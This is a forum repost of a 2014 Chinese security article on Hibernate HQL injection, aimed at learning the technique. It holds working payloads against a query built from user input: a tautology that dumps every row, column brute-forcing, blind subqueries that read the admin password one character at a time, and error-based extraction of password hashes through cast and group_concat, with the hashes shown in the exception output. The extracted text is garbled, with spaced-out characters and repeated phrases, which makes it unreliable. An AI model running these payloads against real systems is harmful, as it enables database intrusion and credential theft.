搜索

[8016] 2014-05-12_HibernateHQL注入攻击入门

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-17
2014-05-12_HibernateHQL注入攻击入门 H i b e r n a t e   H Q L 注 入 攻 击 入 门 F r e e B u f   2 0 1 4 - 0 5 - 1 2 作 者   T a s k i l l e r S Q L 注 入 是 一 种 大 家 非 常 熟 悉 的 攻 击 方 式 ， 目 前 网 络 上 有 大 量 存 在 注 入 漏 洞 的 注 入 是 一 种 大 家 非 常 熟 悉 的 攻 击 方 式 ， 目 前 网 络 上 有 大 量 存 在 注 入 漏 洞 的 D B M S （ 如 （ 如 M y S Q L ， ， O r a c l e ， ， M S S Q L 等 ） 。 但 是 ， 我 在 网 络 上 找 不 到 针 对 等 ） 。 但 是 ， 我 在 网 络 上 找 不 到 针 对 H i b e r n a t e 查 询 语 言 的 相 关 资 源 。 因 此 本 文 总 结 了 笔 者 在 阅 读 文 档 和 不 断 试 验 过 查 询 语 言 的 相 关 资 源 。 因 此 本 文 总 结 了 笔 者 在 阅 读 文 档 和 不 断 试 验 过 程 中 的 一 些 经 验 技 巧 。 程 中 的 一 些 经 验 技 巧 。 什 么 是 什 么 是 H i b e r n a t e H i b e r n a t e 是 一 种 O R M 框 架 ， 用 来 映 射 与 t a b l e s 相 关 的 类 定 义 （ 代 码 ） ， 并 包 含 一 些 高 级 特 性 ， 包 括 缓 存 以 及 继 承 ， 通 常 在 J a v a 与 . N E T 中 使 用 （ 可 参 考 N H i b e r n a t e ） ， 但 在 J a v a 生 态 系 统 中 更 受 欢 迎 。 查 询 语 言 查 询 语 言 首 先 ， H Q L 查 询 并 不 直 接 发 送 给 数 据 库 ， 而 是 由 h i b e r n a t e 引 擎 对 查 询 进 行 解 析 并 解 释 ， 然 后 将 其 转 换 为 S Q L 。 为 什 么 这 个 细 节 重 要 呢 ？ 因 为 有 两 种 错 误 消 息 来 源 ， 一 种 来 自 h i b e r n a t e 引 擎 ， 一 种 来 自 数 据 库 。 H Q L 的 一 大 挑 战 是 注 射 模 式 非 常 有 限 ， 其 没 有 联 合 ， 没 有 函 数 来 创 建 简 单 延 迟 ， 没 有 系 统 函 数 ， 没 有 可 用 的 元 数 据 表 等 。 H i b e r n a t e 查 询 语 言 没 有 那 些 在 后 台 数 据 库 中 可 能 存 在 的 功 能 特 性 。 基 础 基 础 以 下 示 例 代 码 用 来 进 行 之 后 的 测 试 。 需 要 注 意 的 是 ， 恶 意 输 入 总 是 在 百 分 号 之 间 ： s e s s i o n . c r e a t e Q u e r y ( " f r o m   B o o k   w h e r e   t i t l e   l i k e   ' % "   +   u s e r I n p u t   +   " % '   a n d   p u b l i s h e d   =   t r u e " ) 列 出 所 有 实 体 列 出 所 有 实 体 下 面 从 最 基 础 的 开 始 ： 列 出 所 有 b o o k s f r o m   B o o k w h e r e   t i t l e   l i k e   ' % '   o r   1 = 1   o r   ' ' = ' % '   a n d   p u b l i s h e d   =   t r u e 访 问 隐 藏 的 列 访 问 隐 藏 的 列 尽 管 U N I O N 操 作 符 不 可 用 ， 我 们 依 然 可 以 暴 力 破 解 隐 藏 的 列 。 f r o m   B o o k w h e r e   t i t l e   l i k e   ' % '   a n d   p r o m o C o d e   l i k e   ' A % '   o r   1 = 2   a n d   ' ' = ' % '   a n d   p u b l i s h e d   =   t r u e f r o m   B o o k w h e r e   t i t l e   l i k e   ' % '   a n d   p r o m o C o d e   l i k e   ' B % '   o r   1 = 2   a n d   ' ' = ' % '   a n d   p u b l i s h e d   =   t r u e 列 出 所 有 的 列 列 出 所 有 的 列 也 许 有 读 者 可 能 会 问 ， 如 果 没 有 元 数 据 表 ， 怎 么 样 才 能 发 现 隐 藏 的 列 / 字 段 呢 。 我 发 现 一 个 小 窍 门 ， 不 过 只 有 H i b e r n a t e 向 客 户 端 返 回 异 常 消 息 时 才 可 用 。 如 果 列 名 不 是 H i b e r n a t e 中 实 体 定 义 的 一 部 分 ， 则 其 会 触 发 异 常 ：
f r o m   B o o k w h e r e   t i t l e   l i k e   ' % '         a n d   D O E S N T _ E X I S T = 1   a n d   ' ' = ' % '         a n d   p u b l i s h e d   =   t r u e 触 发 异 常 ： o r g . h i b e r n a t e . e x c e p t i o n . S Q L G r a m m a r E x c e p t i o n :   C o l u m n   " D O E S N T _ E X I S T "   n o t   f o u n d ;   S Q L   s t a t e m e n t : s e l e c t   b o o k 0 _ . i d   a s   i d 2 1 _ ,   b o o k 0 _ . a u t h o r   a s   a u t h o r 2 1 _ ,   b o o k 0 _ . p r o m o C o d e   a s   p r o m o 3 _ 2 1 _ ,   b o o k 0 _ . t i t l e   a s   t i t l e 2 1 _ ,   b o o k 0 _ . p u b l i s h e d   a s   p u b l i s h e d 2 1 _   f r o m   B o o k   b o o k 0 _   w h e r e   b o o k 0 _ . t i t l e   l i k e   ' % '   o r   D O E S N T _ E X I S T = ' % '   a n d   b o o k 0 _ . p u b l i s h e d = 1   [ 4 2 1 2 2 - 1 5 9 ] 通 过 该 异 常 ， 可 以 看 到 H i b e r n a t e 查 询 的 列 表 名 。 访 问 不 同 的 表 访 问 不 同 的 表 如 前 所 述 ， H Q L 支 持 U N I O N 查 询 ， 可 以 与 其 它 表 j o i n ， 但 只 有 在 模 型 明 确 定 义 了 关 系 后 才 可 使 用 。 我 发 现 访 问 其 它 表 的 唯 一 方 法 是 使 用 子 查 询 。 例 如 ， 以 下 查 询 会 从 表 中 选 择 一 条 与 “ U s e r ” 实 体 关 联 的 项 。 f r o m   B o o k w h e r e   t i t l e   l i k e   ' % '   a n d   ( s e l e c t   s u b s t r i n g ( p a s s w o r d , 1 , 1 )   f r o m   U s e r   w h e r e   u s e r n a m e = ' a d m i n ' )   =   ' a '   o r   ' ' = ' % '   a n d   p u b l i s h e d   =   t r u e 之 后 就 可 以 按 常 规 的 盲 注 模 式 进 行 盲 注 了 。 非 盲 注 非 盲 注 盲 注 比 较 费 时 间 ， 如 果 异 常 消 息 能 显 示 出 来 ， 就 可 以 直 接 得 到 任 意 值 了 。 为 此 ， 需 要 将 某 个 选 中 的 值 转 换 为 不 同 的 类 型 。 例 如 ： f r o m   B o o k w h e r e   t i t l e   l i k e   ' % 1 1 '   a n d   ( s e l e c t   p a s s w o r d   f r o m   U s e r   w h e r e   u s e r n a m e = ' a d m i n ' ) = 1   o r   ' ' = ' % '   a n d   p u b l i s h e d   =   t r u e 之 后 H i b e r n a t e 就 愉 快 地 将 异 常 消 息 返 回 了 ： D a t a   c o n v e r s i o n   e r r o r   c o n v e r t i n g   " 3 f 3 f f 0 c d b f a 0 d 5 1 5 f 8 e 3 7 5 1 e 4 e d 9 8 a b e " ;   S Q L   s t a t e m e n t : s e l e c t   b o o k 0 _ . i d   a s   i d 1 8 _ ,   b o o k 0 _ . a u t h o r   a s   a u t h o r 1 8 _ ,   b o o k 0 _ . p r o m o t i o n C o d e   a s   p r o m o t i o 3 _ 1 8 _ ,   b o o k 0 _ . t i t l e   a s   t i t l e 1 8 _ ,   b o o k 0 _ . v i s i b l e   a s   v i s i b l e 1 8 _   f r o m   B o o k   b o o k 0 _   w h e r e   b o o k 0 _ . t i t l e   l i k e   ' % 1 1 '   a n d   ( s e l e c t   u s e r 1 _ . p a s s w o r d   f r o m   U s e r   u s e r 1 _   w h e r e   u s e r 1 _ . u s e r n a m e   =   ' a d m i n ' ) = 1   o r   ' ' = ' % '   a n d   b o o k 0 _ . p u b l i s h e d = 1   [ 2 2 0 1 8 - 1 5 9 ] 技 巧 ： 调 用 后 台 函 数 技 巧 ： 调 用 后 台 函 数 如 前 所 述 ， H i b e r n a t e 会 在 S E L E C T 和 W H E R E 语 句 中 隐 藏 一 些 不 可 识 别 的 列 名 ， 对 函 数 也 一 样 。 调 用 数 据 库 函 数 的 标 准 过 程 是 事 先 注 册 函 数 映 射 （ H Q L - > S Q L ） （ J a v a 代 码 ） ， 但 攻 击 者 不 需 要 关 心 兼 容 性 。 最 终 查 询 中 的 完 整 函 数 可 以 用 来 窃 取 数 据 （ g r o u p _ c o n c a t , a r r a y _ a g g ,   … ） 或 对 后 台 数 据 库 进 行 简 单 的 指 纹 识 别 。 例 如 ， 如 果 数 据 库 支 持 g r o u p _ c o n c a t 函 数 ： f r o m   B o o k w h e r e   t i t l e   l i k e   ' % 1 1 '         a n d   ( s e l e c t   c a s t ( g r o u p _ c o n c a t ( p a s s w o r d )   a s   s t r i n g )   f r o m   U s e r ) = 1         o r ' ' = ' % '         a n d   p u b l i s h e d   =   t r u e
则 异 常 触 发 为 ： D a t a   c o n v e r s i o n   e r r o r   c o n v e r t i n g " 3 f 3 f f 0 c d b f a 0 d 5 1 5 f 8 e 3 7 5 1 e 4 e d 9 8 a b e , 7 9 a 4 1 d 7 1 c 3 1 1 2 8 f f a b 8 1 a c 8 d f 2 0 6 9 f 9 c , b 7 f e 6 f 6 a 1 0 2 4 d b 6 e 5 6 0 2 7 a e b 5 5 8 f 9 e 6 8 " ; S Q L   s t a t e m e n t :   s e l e c t   b o o k 0 _ . i d   a s   i d 1 8 _ ,   b o o k 0 _ . a u t h o r   a s   a u t h o r 1 8 _ ,   b o o k 0 _ . p r o m o t i o n C o d e a s   p r o m o t i o 3 _ 1 8 _ ,   b o o k 0 _ . t i t l e   a s   t i t l e 1 8 _ ,   b o o k 0 _ . v i s i b l e   a s   v i s i b l e 1 8 _   f r o m   B o o k   b o o k 0 _ w h e r e   b o o k 0 _ . t i t l e   l i k e   ' % 1 1 '   a n d   ( s e l e c t   c a s t ( g r o u p _ c o n c a t ( u s e r 1 _ . p a s s w o r d )   a s   v a r c h a r ( 2 5 5 ) )   f r o m   U s e r   u s e r 1 _ ) = 1   o r   ' ' = ' % '   a n d   b o o k 0 _ . p u b l i s h e d = 1   [ 2 2 0 1 8 - 1 5 9 ] 总 结 总 结 本 文 并 不 是 讨 论 关 于 H i b e r n a t e 的 漏 洞 ， 而 是 利 用 H Q L 的 技 巧 。 如 果 有 读 者 维 护 着 使 用 H i b e r n a t e 的 J a v a   w e b 应 用 程 序 ， 可 以 运 行 F i n d B u g s ， 利 用 这 些 规 则 识 别 与 H i b e r n a t e   A P I 相 关 的 潜 在 注 入 问 题 。 本 文 至 此 就 结 束 了 ， 希 望 对 各 位 读 者 有 所 帮 助 ！ 参 考 参 考 H Q L :   T h e   H i b e r n a t e   Q u e r y   L a n g u a g e   :   H i b e r n a t e   官 方 文 档 h t t p : / / d o c s . j b o s s . o r g / h i b e r n a t e / o r m / 3 . 3 / r e f e r e n c e / e n / h t m l / q u e r y h q l . h t m l H Q L m a p : 也 许 是 目 前 能 够 进 行 自 动 H Q L 注 入 的 唯 一 工 具 （ 暴 力 破 解 实 体 与 列 名 ） 。 h t t p s : / / g i t h u b . c o m / P a u l S e c / H Q L m a p S Q L   I n j e c t i o n   W i k i   :   多 种 D B M S 平 台 进 行 S Q L 注 入 的 有 用 参 考 资 料 。 h t t p : / / w w w . s q l i n j e c t i o n w i k i . c o m / P e n t e s t m o n k e y S Q L   I n j e c t i o n   c h e a t s h e e t s :   S Q L 注 入 的 另 一 不 错 的 参 考 资 料 。 h t t p : / / p e n t e s t m o n k e y . n e t / c a t e g o r y / c h e a t - s h e e t / s q l - i n j e c t i o n [ v i a   h 3 x s t r e a m ] 特 别 提 醒 ： 本 文 阐 述 的 攻 击 方 式 仅 供 安 全 学 习 、 研 究 及 教 学 使 用 ， 禁 止 非 法 用 途 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理